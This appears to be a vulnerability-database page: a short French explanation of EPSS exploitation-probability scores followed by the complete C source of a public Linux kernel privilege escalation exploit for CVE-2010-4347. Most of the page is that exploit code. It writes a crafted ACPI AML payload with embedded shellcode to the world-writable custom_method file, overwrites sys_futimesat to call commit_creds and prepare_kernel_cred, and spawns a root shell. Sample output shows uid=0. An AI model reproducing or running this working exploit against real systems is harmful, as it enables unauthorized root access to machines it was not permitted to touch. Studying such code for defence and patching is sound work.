EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
/*
* american-sign-language.c
*
* Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation
* Jon Oberheide <
[email protected]>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347
*
* This custom_method file allows to inject custom ACPI methods into the ACPI
* interpreter tables. This control file was introduced with world writeable
* permissions in Linux Kernel 2.6.33.
*
* Usage:
*
* $ gcc american-sign-language.c -o american-sign-language
* $ ./american-sign-language
* [+] resolving required symbols...
* [+] checking for world-writable custom_method...
* [+] checking for an ACPI LID device...
* [+] poisoning ACPI tables via custom_method...
* [+] triggering ACPI payload via LID device...
* [+] triggering exploit via futimesat...
* [+] launching root shell!
* # id
* uid=0(root) gid=0(root) groups=0(root)
*
* Notes:
*
* This vuln allows us to write custom ACPI methods and load them into the
* kernel as an unprivileged user. We compile some fancy ASL down to AML
* that overrides the ACPI method used when the status of the LID device is
* queried (eg. 'open' or 'closed' lid on a laptop). When the method is
* triggered, it overlays an OperationRegion on the physical address where
* sys_futimesat is located and overwrites the memory via the Store to
* escalate privileges whenever sys_futimesat is called.
*
* The payload is 64-bit only and depends on the existence of a LID device
* (eg. laptop), but the exploit will still tell you if you're vulnerable
* regardless. If you don't know how to work around these limitations, you
* probably shouldn't be running this in the first place. :-P
*
* Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/utsname.h>
/*
* The ASL payload looks like:
*
* DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) {
* Method (\_SB.LID._LID, 0, NotSerialized) {
* OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392)
* Field(KMEM, AnyAcc, NoLock, Preserve) {
* HACK, 0x392
* }
* Store (Buffer () {
* 0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec,
* 0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24,
* 0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf,
* 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89,
* 0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff,
* 0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9,
* 0xc3 }, HACK)
* Return (One)
* }
* }
*
* Feel free to `iasl -d` this is you don't trust me! ;-)
*/
#define PAYLOAD_AML \
"\x53\x53\x44\x54\x90\x00\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c" \
"\x21\x05\x09\x20\x14\x4b\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x4c\x49" \
"\x44\x5f\x5f\x4c\x49\x44\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\xe0" \
"\x61\x17\x01\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41" \
"\x43\x4b\x42\x39\x70\x11\x34\x0a\x31\x55\x48\x89\xe5\x53\x48\x83" \
"\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24" \
"\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7" \
"\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01"
#define PAYLOAD_LEN 144
#define CUSTOM_METHOD "/sys/kernel/debug/acpi/custom_method"
#define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state"
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
int
main(int argc, char **argv)
{
int ret;
FILE *fp;
char buf[64];
struct stat sb;
char payload[PAYLOAD_LEN] = PAYLOAD_AML;
unsigned long sys_futimesat, prepare_kernel_cred, commit_creds;
printf("[+] resolving required symbols...\n");
sys_futimesat = get_symbol("sys_futimesat");
if (!sys_futimesat) {
printf("[-] sys_futimesat symbol not found, aborting!\n");
exit(1);
}
prepare_kernel_cred = get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] prepare_kernel_cred symbol not found, aborting!\n");
exit(1);
}
commit_creds = get_symbol("commit_creds");
if (!commit_creds) {
printf("[-] commit_creds symbol not found, aborting!\n");
exit(1);
}
printf("[+] checking for world-writable custom_method...\n");
ret = stat(CUSTOM_METHOD, &sb);
if (ret < 0) {
printf("[-] custom_method not found, kernel is not vulnerable!\n");
exit(1);
}
if (!(sb.st_mode & S_IWOTH)) {
printf("[-] custom_method not world-writable, kernel is not vulnerable!\n");
exit(1);
}
printf("[+] checking for an ACPI LID device...\n");
ret = stat(HEY_ITS_A_LID, &sb);
if (ret < 0) {
printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n");
exit(1);
}
if (sizeof(sys_futimesat) != 8) {
printf("[-] payload is 64-bit only, but kernel is still vulnerable!\n");
exit(1);
}
sys_futimesat &= ~0xffffffff80000000;
memcpy(&payload[63], &sys_futimesat, 4);
memcpy(&payload[101], &commit_creds, 4);
memcpy(&payload[108], &prepare_kernel_cred, 4);
printf("[+] poisoning ACPI tables via custom_method...\n");
fp = fopen(CUSTOM_METHOD, "w");
fwrite(payload, 1, sizeof(payload), fp);
fclose(fp);
printf("[+] triggering ACPI payload via LID device...\n");
fp = fopen(HEY_ITS_A_LID, "r");
fread(&buf, 1, sizeof(buf), fp);
fclose(fp);
printf("[+] triggering exploit via futimesat...\n");
ret = futimesat(0, "/tmp", NULL);
if (ret != -1 || errno != EDOTDOT) {
printf("[-] unexpected futimesat errno, exploit failed!\n");
exit(1);
}
if (getuid() != 0) {
printf("[-] privileges not escalated, exploit failed!\n");
exit(1);
}
printf("[+] launching root shell!\n");
execl("/bin/sh", "/bin/sh", NULL);
}